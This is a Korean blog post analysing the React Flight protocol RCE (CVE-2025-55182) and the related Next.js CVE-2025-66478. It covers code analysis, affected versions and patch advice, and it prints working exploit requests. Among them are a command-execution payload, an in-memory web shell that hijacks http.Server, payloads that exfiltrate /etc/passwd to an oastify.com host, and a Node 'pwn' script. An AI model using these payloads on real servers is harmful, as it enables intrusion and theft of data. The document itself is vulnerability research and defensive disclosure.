CVE-2025-55182: React RCE 취약점(Feat.Flight Protocol)

최신 취약점 두 개가 발표되었다.

하나는 React RCE 취약점, 다른 하나는 이와 관련된 Next.js RCE 취약점이다.

다들 잘 알겠지만 React는 인스타그램, 페이스북을 비롯해 다양한 웹 어플리케이션에서 사용하고 있는 프레임워크라 파급력이 클 것으로 예상된다.

이번 포스팅에서는 엔키 취약점 보고서(현재 시점에서 국내 보고서 중 가장 잘 작성된 것 같다)를 참고해서 다시 작성해봤다. ENKI의 글이 궁금하면 다음 링크를 확인해보자

ENKI CVE-2025-55182 분석 글

1. 취약점 개요

React는 SPA 구축에 널리 사용되는 프레임워크다. 최근 SPA 패러다임에서 클라이언트 측 렌더링(CSR, Client-Side Rendering)에 많은 작업이 집중되면서 브라우저 연산량이 증가했고, 이는 사용자 경험 저하로 이어지곤 했다. (쉽게 말하면 초기 로딩이 느리고 답답하다는 의미다.)

이 문제를 해결하기 위해 React 자체가 정책을 바꾼 것은 아니지만, Next.js 같은 React 기반 프레임워크들이 렌더링 방식을 개선과 그 외 여러가지 목적을 달성하기 위해 **SSR(Server-Side Rendering)**과 **RSC(Server Components)**를 적극적으로 도입했다.

이러한 구조에서는 사용자의 요청을 서버가 받아 React 컴포넌트 렌더링을 수행하고, 그 결과 HTML을 클라이언트로 반환한다. 문제는 이때 단순히 텍스트만 찍는 수준이 아니라, 프레임워크 내부에 모듈 로딩 체인, dynamic import, 직렬화/역직렬화(Marshalling/Unmarshalling) 같은 기능들이 얽혀 있다는 점이다.

따라서 서버 측 렌더링 코드가 사용자 입력을 제대로 격리하거나 필터링 하지 못하면, 사용자 입력이 서버에서 실행되는 모듈 로딩 체인, dynamic import, 객체 언마샬링 과정에 직접 주입될 수 있고, 이 과정에서 코드 인젝션이나 RCE로 이어질 수 있다.

이번에 공개된 취약점 CVE-2025-55182CVE-2025-66478은 바로 이러한 SSR/RSC 구조적 특성을 제대로 통제하지 못해 발생한 사례다. 두 취약점 모두 인증이 필요 없고, 공격자가 조작한 입력이 서버 측 모듈 로딩 체인이나 dynamic import, 혹은 객체 디리얼라이즈 경로에 그대로 주입되면서 원격 코드 실행(RCE)이 가능해진다. 조건만 맞으면 비교적 단순한 payload로도 서버에서 임의 코드 실행이 가능하기 때문에, CVSS 10.0이라는 최고 등급의 점수를 받았다.


2. 취약점 테스트

가장 먼저 무슨 얘기를 하면 좋을까? 하고 생각하다가 아무래도 실제 RCE가 발생하는 것을 먼저 보여주는게 좋지 않을까 하는 생각이 들었다.

그래서 POC를 활용해 RCE를 수행 해 보겠다.

테스트에는 다음 두 깃 저장소를 활용했다.

취약점 테스트 환경 구축

python POC

POC

자 위 사진처럼 정말 아주 손쉽게 id 라는 쉘 명령 실행이 실행된 후 리턴되었다.

어떻게 이렇게 취약점이 터질 수 있었을까? 다음 장으로 넘어가보자


3. React Flight Protocol

React는 프레임워크 동작을 위해 Flight라는 독자적인 프로토콜을 도입했다.

Flight 프로토콜에 대해 다음 표로 정리해보았다(청크 타입은 엔키 내용 복사했습니다)

모두 알 필요는 없고, 이 글에서는 $@, $Q, $B, $0-9a-f 만 알면 충분하다.

Flight Protocol token Type

표현식타입예시설명
$$Escaped $“$$hello” → “$hello”Literal string starting with $
$@Promise/Chunk“$@0”Reference to chunk ID 0
$FServer Reference“$F0”Server function reference
$TTemporary Ref“$T”Opaque temporary reference
$QMap“$Q0”Map object at chunk 0
$WSet“$W0”Set object at chunk 0
$KFormData“$K0”FormData at chunk 0
$BBlob“$B0”Blob at chunk 0
$nBigInt“$n123”BigInt value
$DDate“$D2024-01-01”Date object
$NNaN“$N”NaN value
$IInfinity“$I”Infinity
$--Infinity/-0“$-I” or “$-0”Negative infinity or negative zero
$uundefined“$u”undefined value
$RReadableStream“$R0”ReadableStream
$0-9a-fChunk Reference“$1”, “$a”Reference to chunk by hex ID

Flight Protocol Key Type

키 이름역할 설명
thenPromise처럼 직렬화된 객체를 표시. 체인 연결이나 비동기 완료를 나타냄.
status비동기 모듈/Promise의 상태 (fulfilled, pending, rejected 등).
reasonPromise 실패 시 에러 원인. 서버에서 에러를 전달할 때 사용됨.
valuePromise 성공 시 실제 값. 모듈 export나 서버 액션 결과가 들어감.
_responseFlight 응답 전체를 감싸는 컨테이너. 세부 구조(_prefix, _chunks 등) 포함.
_prefix서버가 클라이언트로 보낼 코드 조각의 앞부분. 실행 흐름을 재구성하는 데 사용.
_chunksFlight 응답을 스트리밍할 때 조각을 식별하는 키. 클라이언트가 이어붙임.
_formData서버 액션 호출 시 전달된 폼 데이터. 사용자의 입력값 직렬화.
get_formData 안에서 특정 필드를 가져올 때 사용. 정상적으론 입력 필드 이름.

4. 직렬화(Marshalling)와 역직렬화(Unmarshalling)

앞서 SSR을 적용했을 때, 클라이언트에서 서버로 렌더링 요청을 날린다 설명했다. 클라이언트와 서버가 데이터를 활용할때는 항상 직렬화(Marshalling)/역직렬화(Unmarshalling) 과정이 필요하다.

클라이언트가 서버로 어떤 프로토콜을 사용해 데이터를 전송하고 이를 서버에서 활용할때는 항상 직렬화(Marshalling)/역직렬화(Unmarshalling) 과정이 필요하다.

쉽게 말해서 바이트 스트림 -> 객체, 객체 -> 바이트 스트림 전환이라고 이해하면 쉽게 이해할 수 있을 것이다.

파이썬에서 json 파일을 읽어 dictionary화 하려면 어떻게하는가? json.load 함수를 사용한다. 이 과정이 바로 역직렬화인 것이다.

자 만약 이 직렬화 과정에서 사용자가 악의적인 코드를 주입했다면? 서버에서 이러한 입력값에 대한 검증이 없다면? 원격 코드 실행이 이루어질 수 도 있는 것이다.


5. Prototype Pollution

이 글은 Prototype Pollution을 다루는 글이 아니지만, CVE를 이해하는데 있어 해당 공격 기법에 대한 이해가 필요하므로 간단하게 설명하고 넘어가겠다.

Prototype Pollution 이란?

공격자가 JavaScript의 Object.prototype 또는 특정 객체의 프로토타입 체인에 임의 속성을 주입하여 그 객체를 기반으로 생성되는 모든 객체의 동작을 오염시키는 취약점을 말한다

발생 이유

JavaScript는 프로토타입 기반 상속(prototype-based inheritance) 구조를 사용 한다. 따라서 모든 객체는 내부적으로 다음과 같은 상속 구조를 갖는다

1
obj  obj.__proto__  Object.prototype  null

그래서 객체의 프로토타입에 어떤 속성을 정의하면, 이 프로토타입을 상속하는 모든 객체에는 해당 속성이 존재하게 된다. 그리고 이는 곧 특정 환경에서 RCE로 이어질 수 있다. 다음은 한 가지 예시다.

1
2
3
4
// 프로토타입에 exec 멤버 정의
Object.prototype.exec = () => require('child_process').execSync('malicious command');
// 이후 어딘가에서 함수 호출 -> RCE
someObject.exec();

6. Git Commit 내용 확인 & 코드 분석

우선 취약한 버전은 다음과 같다.

React 19.0.0, 19.1.0, 19.1.1, 19.2.0

React 19.0.1 버전에서 패치가 되었기 때문에 해당 커밋 내용을 한 번 살펴보겠다.

다음 커밋 코드 변경 내용을 살펴보면 된다.

Patch Commit

실제 코드 분석 쪽에서는 필자가 React의 흐름을 잘 모르기 때문에 ENKI의 글 내용을 많이 참고했다


6-1. ReactFlightReplyServer.js

React 서버에서 클라이언트로 데이터가 전달될 때 위 3 에서 보여준 token이나 참조가 있을경우 ReactFlightReplyServer.js 파일의 getOutlinedModel 함수를 거쳐간다. 좀 더 쉽게 설명해보자면

  1. React 서버에서 사용하는 Flight 프로토콜 객체와 Javascript에서 범용으로 쓰는 객체는 형식이 다르다.
  2. Flight 프로토콜은 단순 JSON 문자열이 아니라, $F, $@, $Q, $B 같은 토큰을 포함한다.
  3. 이 토큰들은 “서버 함수 참조”, “Promise 청크 참조”, “Map 객체”, “Blob” 같은 JS 런타임 객체를 표현한다.
  4. 문자열 그대로는 쓸 수 없고, 클라이언트에서 다시 실제 JS 객체로 복원할 수 있게 변환해야 한다.
  5. 따라서 Flight 프로토콜의 토큰 중 참조(ref) 기반으로 인코딩된 값들은 역직렬화 과정에서 ReactFlightReplyServer.js의 getOutlinedModel 함수로 전달되어 실제 JS 객체로 해석된다.

라고 이해할 수 있겠다.

Flight Reply를 역직렬화 과정에서는 다음 함수들이 사용되며

initializeModelChunk(): Flight Protocol 요청 발생 시 초기 Chunk 초기화 reviveModel(): 요청 데이터로부터 Model 복원 parseModelString(): 문자열 데이터로부터 Model 생성 (역직렬화) getOutlinedModel(): 역직렬화 과정 중 발생하는 Chunk Reference 처리

주요 함수 호출 흐름은 다음과 같다.

  1. Chunk.prototype.then()에서 initializeModelChunk() 호출
  2. initializeModelChunk()가 JSON 파싱 후 reviveModel() 호출
  3. reviveModel()이 각 프로퍼티를 순회하며 $로 시작하는 문자열을 parseModelString()에 위임
  4. parseModelString()이 $@, $F, $Q, $B 등 토큰을 처리하며, 청크 참조 + 경로 패턴 파싱
  5. getOutlinedModel()이 참조 문자열을 청크 + 프로퍼티 체인으로 해석하여 실제 값을 반환

다음 커밋 기록을 보자

!(getOutlinedModel Commit)[/images/CVE-2025-55182/4.png]

  • parentObject와 key 를 인자로 받아서 전달 → 값이 어떤 부모 객체와 어떤 속성에서 왔는지 맥락을 보존, 원격 코드 실행을 막고 있다.

6-2. getOutlinedModel

우선 제일 먼저 패치되기 전 getOutlinedModel함수는 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  }}
  1. reference 문자열을 : 기준으로 분리, path 배열을 생성한다.
  2. 첫 번째 요소 path[0]은 Chunk ID로 해석돼 getChunk로 해당 Chunk를 가져온다.
  3. 이후 chunk.status가 INITIALIZED일 때 chunk.value를 시작점으로 path의 길이만큼 반복문을 돌면서 value 멤버를 참조한다.
  4. map(response,value)를 호출해 리턴한다.

이 과정에서 문제점은 다음과 같이 정리할 수 있다

  1. hasOwnProperty 같은 속성 존재 체크 루틴이 없다.
  2. 따라서 path[i]가 __proto__ 같은 특수 키일 경우 객체 prototype에 접근이 가능해진다.
  3. reference 표현식이 ‘$1:__proto__:aaa’ 라면 Chunk ID 1의 prototype의 aaa라는 멤버(함수 또는 변수) 를 참조할 수 있다.

Chunk는 다음 코드에서 확인 가능하듯이 Promise 객체이고 then은 this.status에 따라 switch 문으로 분기되도록 작성되어져있다.

이때 status가 RESOLVED_MODEL이면 initializeModelChunk 함수를 호출할 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
// ** 후략 **

즉 다음과 같은 payload 사용 시

1
{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}

payload chain에 따라 initializeModelChunk가 호출될 수 있다는 의미다.


6-3. initializeModelChunk

앞에서 인자를 조작함으로써 initializeModelChunk 함수에 접근 가능함을 확인했다. 이때 payload에서 initializeModelChunk 함수에 전달된 인자 chunk 값도 컨트롤 할 수 있다.

즉 다시말해

rootReference=chunk.reason,

resolvedModel(chunk.value)=rawModel,

reviveModel 에 전달되는 인자가 모두 조작이 가능하다

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;

  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );
  }

6-4. reviveModel

reviveModel 함수에서는 value가 string 타입일 경우 parseModelString 함수를 호출한다. 그리고 parseModelString 함수 내에는 Blob(B) 인 경우를 처리하는 로직도 존재한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
function reviveModel(
  response: Response,
  parentObj: any,
  parentKey: string,
  value: JSONValue,
  reference: void | string,
): any {
  if (typeof value === 'string') {
    // We can't use .bind here because we need the "this" value.
    return parseModelString(response, parentObj, parentKey, value, reference);
  }

다음 챕터에 있지만 여기서 설명하는게 나을 것 같아 여기 parseModelString 함수 일부를 가져왔다

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
      case 'B': {
        // Blob
        const id = parseInt(value.slice(2), 16);
        const prefix = response._prefix;
        const blobKey = prefix + id;
        // We should have this backingEntry in the store already because we emitted
        // it before referencing it. It should be a Blob.
        const backingEntry: Blob = (response._formData.get(blobKey): any);
        return backingEntry;
      }

즉 initializeModelChunk > reviveModel > parseModelString > case ‘B’ 체인을 거쳐 여기 들어가는 모든 데이터가 조작 가능한 값이라는 의미가 된다.


5-4. parseModelString

parseModelString 함수에는 프로토콜 토큰을 어떻게 분석할것인지가 정의되어 있다. 다음 코드를 보자. parseModelString 함수의 일부분만 떼어왔다. (3번 문단에 토큰 테이블을 참고해도 된다)

$ 는 문자를 escape할 때 대용한다.

@는 promise 참조를 의미하고, 뒤에 붙는 숫자는 Chunk ID를 의미한다. 즉. $@1은 @1이 되고 Chunk ID 1에 해당하는 Promise를 참조한다는 의미다.

그리고서는 return chunk로 promise 객체 자체를 리턴하고 있다.

여기서 객체 참조가 발생할 수 있다.

또한 Blob 분기문에서는 _formData.get(blobKey) 를 호출한다.

이 때 payload에 “_formData”: {“get”: “$1:constructor:constructor”} 가 전달되면 prototype pollution이 수행되어 원래 get 기능이 아닌 임의 코드 실행이 가능해진다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function parseModelString(
  response: Response,
  obj: Object,
  key: string,
  value: string,
  reference: void | string,
): any {
  if (value[0] === '$') {
    switch (value[1]) {
      case '$': {
        // This was an escaped string value.
        return value.slice(1);
      }
      case '@': {
        // Promise
        const id = parseInt(value.slice(2), 16);
        const chunk = getChunk(response, id);
        return chunk;
      }
      // ** 중략 **
      case 'B': {
        // Blob
        const id = parseInt(value.slice(2), 16);
        const prefix = response._prefix;
        const blobKey = prefix + id;
        // We should have this backingEntry in the store already because we emitted
        // it before referencing it. It should be a Blob.
        const backingEntry: Blob = (response._formData.get(blobKey): any);
        return backingEntry;
      }

6-6. 함수 호출 체인 정리

자 다시 처음부터 정리해보자. 우선 클라이언트가 서버로 요청을 날리는 것 부터다.

리액트는 클라이언트로부터 어떤 요청이 날아오면 Flight 프로토콜을 해석한다. 그 과정에서 initializeModelChunk(), reviveModel(), parseModelString(), getOutlinedModel() 등의 함수가 사용된다.

이 때  React Flight 프로토콜의 “데이터 - 구조 - 제어 흐름” 사이 느슨한 정의로 인해 외부에서 페이로드를 통해 prototype pollution chaining이 가능해지고 그래서 RCE가 발생한다. 라고 볼 수 있겠다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌─────────────────────────────────────────────────────────────────────┐
  1. Attacker sends multipart form with fake chunk object            
      decodeReply() parses form fields 0, 1, 2                      
      Object has: then, status, value, _response                    
└─────────────────────────────────────────────────────────────────────┘
                                    
                                    
┌─────────────────────────────────────────────────────────────────────┐
  2. Self-reference makes object thenable with real function         
      then: "$1:__proto__:then"  Chunk.prototype.then              
      Chunk.prototype.then(this) calls initializeModelChunk(this)   
      Uses this._response (attacker's fake _response)               │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────┐
│  3. parseModelString() handles "$B1337" reference                   │
│     → case "B": return response._formData.get(response._prefix+id)  │
│     → Calls _formData.get with attacker's _prefix + "1337"          
└─────────────────────────────────────────────────────────────────────┘
                                    
                                    
┌─────────────────────────────────────────────────────────────────────┐
  4. getOutlinedModel() resolves _formData.get (lazy evaluation):    
      "$1:constructor:constructor" traverses prototype chain        
      Returns Function constructor                                  
      Function(code + "1337")  RCE                                 
└─────────────────────────────────────────────────────────────────────┘

7. 실제 payload 분석

실제 페이로드를 한번 분석해보자


7-1. 1번 payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

자 여기서 Chunk 0은

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

Chunk 1은

1
"$@0"

Chunk 2는

1
[]

가 된다.

📌 “then”: “$1:proto:then”

  • 의미: Chunk ID 1의 value 에서 __proto__를 따라가 그 안의 then 속성을 참조
  • 그런데 1번 청크는 “$@0”으로 0번 청크의 결과를 참조하겠다고 표시하고 있다.
  • 이렇게 하면 해당 객체를 **thenable(Promise처럼 동작하는 객체)**로 만들 수 있고, 이후 체인에서 자동 호출이 일어나도록 셀프 호출 유도

📌 “status”: “resolved_model”

  • 의미: 이 Chunk가 RESOLVED_MODEL 상태임을 표시
  • initializeModelChunk(chunk)가 호출되어 모델 초기화가 진행
  • 이후 reviveModel → parseModelString 체인으로 이어질 수 있게 만드는 트리거 역할

📌 “reason”: -1

  • 코드:
1
2
const rootReference =
  chunk.reason === -1 ? undefined : chunk.reason.toString(16);
  • 즉, reason이 -1이면 undefined로 처리
  • rootReference을 undefiled로만들어 reference conflicts을 회피하는 역할

📌 “value”: “{"then":"$B1337"}”

  • JSON 문자열로 인코딩된 값
  • 내부적으로는 { then: “$B1337” }라는 객체가 된다.
  • parseModelString의 B 루틴으로 빠지는게 중요한것, 1337은 없거나 아무 문자열이어도 상관없다.

📌 “_response”: { “_prefix”: “…”, “_chunks”: “$Q2”, “_formData”: {…} }

  • _prefix:

  • 실제 악성 페이로드 삽입 부분

  • process.mainModule.require(‘child_process’).execSync(‘id’) → 서버에서 시스템 명령 실행.

  • 결과를 NEXT_REDIRECT 에러의 digest로 던져서 클라이언트로 전달.

  • _chunks": “$Q2”:

  • Map object at chunk 2

  • React Flight Protocol 내부에서 _response._chunks는 직렬화된 데이터 구조(보통 Map 객체)를 참조

  • 정상적인 실행 흐름에서는 response._chunks.get()이나 response._chunks.has() 같은 메서드 호출이 발생

  • 만약 _chunks가 없거나 잘못된 타입이면 런타임 에러가 발생해 체인이 깨질수 있다.

  • _formData": { “get”: “$1:constructor:constructor” }:

  • $1 Chunk의 constructor.constructor를 참조합니다.

  • 자바스크립트에서 obj.constructor.constructor는 결국 Function 생성자를 가리킴

  • 즉, 임의 코드 실행(RCE)을 위한 Function 객체 생성

  • “청크의 생성자가 왜 함수지?” → JS 객체의 constructor는 원래 생성자 함수이고, 그 constructor의 constructor는 Function이 된다.

즉 순서로 따지면 다음과 같다.

1. then: “$1:proto:then” 셀프 참조를 생성, then은 실제 호출 가능한 함수인 Chunk.prototype.then 로 연결된다.

1
2
3
4
5
$1:__proto__:then
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
Chunk.__proto__.then → Chunk.prototype.then (actual function!)

2. value 필드는 또다른 thenable한 JSON 문자열 필드를 포함한다.

1
2
3
4
{"then":"$B1337"}
case "B":
  return response._formData.get(response._prefix + obj);  // obj = "1337"

7-2. 2번 payload: runtime memory shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
1
curl "http://localhost:3000/exec?cmd=ls+-l"

다른 페이로드 분석은 천천히겠다..

7-3. 3번 payload: command execution result in response header

1
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
1
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

7-4. 4번 payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
async function pwn(cmd = 'id') {
  const formData = new FormData();
  formData.append('0', '"$F1"');
  formData.append('1', '{"id":"user-profile-action#constructor","bound":"$@2"}');
  // const susCode = "console.log(`yo chat! I'm ${process.env.USER} btw.`);";
  let susCode = `const cmd = ${JSON.stringify(cmd)};`
  susCode += `
  return import('child_process').then(cp => {
    const output = cp.execSync(cmd).toString();
    return output;
  }).catch(e => console.log('err:', e.message));`;
  formData.append('2', `["${JSON.stringify(susCode).slice(1, -1)}"]`);

  try {
    const response = await fetch('http://localhost:3000', {
      method: 'POST',
      body: formData
    });

    const text = await response.text();
    console.log("Response:", text);
    process.exit(0);
  } catch (e) {
    console.error("Request failed:", e);
    process.exit(1);
  }
}

const args = process.argv.slice(2).join(' ');
pwn(args);

8. CVE-2025-66478

원래는 CVE-2025-55182와 CVE-2025-66478을 따로 정리하려고 했는데 Next.js가 React 프레임워크 위에서 돌아 사실상 같은 취약점이라 한다.

그래서 CVE-2025-55182가 Upstream, CVE-2025-66478이 Downstream으로 두 개를 같은 취약점으로 봐도 큰 문제가 없을 듯 하다.

CVE-2025-66478은 다음 Next.js 버전이 영향받는다

Version Range Status

Next.js 15.0.0 - 15.0.4 ⚠️ Vulnerable

Next.js 15.1.0 - 15.1.8 ⚠️ Vulnerable

Next.js 15.2.0 - 15.2.5 ⚠️ Vulnerable

Next.js 15.3.0 - 15.3.5 ⚠️ Vulnerable

Next.js 15.4.0 - 15.4.7 ⚠️ Vulnerable

Next.js 15.5.0 - 15.5.6 ⚠️ Vulnerable

Next.js 16.0.0 - 16.0.6 ⚠️ Vulnerable

Next.js 14.3.0-canary.77+ ⚠️ Vulnerable

Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7+ ✅ Patched

Next.js 16.0.7+ ✅ Patched

Next.js 13.x, 14.x stable ✅ Not Affected


9. Mitigation

해당 취약점을 완화하기 위해서는 최신 버전 패치를 적용하는 것이 중요하다.

React는 19.0.1, 19.1.2, 19.2.1 버전부터 해당 취약점이 패치되었고, Next.js는 8번을 참고하자.


Reference

https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/ https://www.penligent.ai/hackinglabs/ko/%ED%81%AC%EB%A6%AC%ED%8B%B0%EC%BB%AC-%EC%8B%AC%EC%B8%B5-%EB%B6%84%EC%84%9D-cve-2025-55182-poc-%EB%82%B4%EB%B6%80%EC%9D%98-rce%EA%B0%80-%EB%B0%98%EC%9D%91%ED%95%98%EB%8A%94-%EC%95%84%ED%82%A4%ED%85%8D/ https://gomguk.tistory.com/306 https://www.logpresso.com/ko/blog/2025-12-05-react2shell https://nextjs.org/blog/CVE-2025-66478

https://react2shell.com/

https://github.com/dwisiswant0/CVE-2025-55182 https://github.com/ejpir/CVE-2025-55182-research https://github.com/wangxso/CVE-2025-66478-POC https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478 https://github.com/hackersatyamrastogi/react2shell-ultimate https://github.com/cybertechajju/R2C-CVE-2025-55182-66478 https://github.com/xkey8/react2shell https://github.com/dr4xp/react2shell/blob/main/exploit.py https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc https://github.com/l4rm4nd/CVE-2025-55182

https://github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d#diff-96c734fde34b293e002f21d37d8e3cdbabf57f11f08804eb9957291079af0256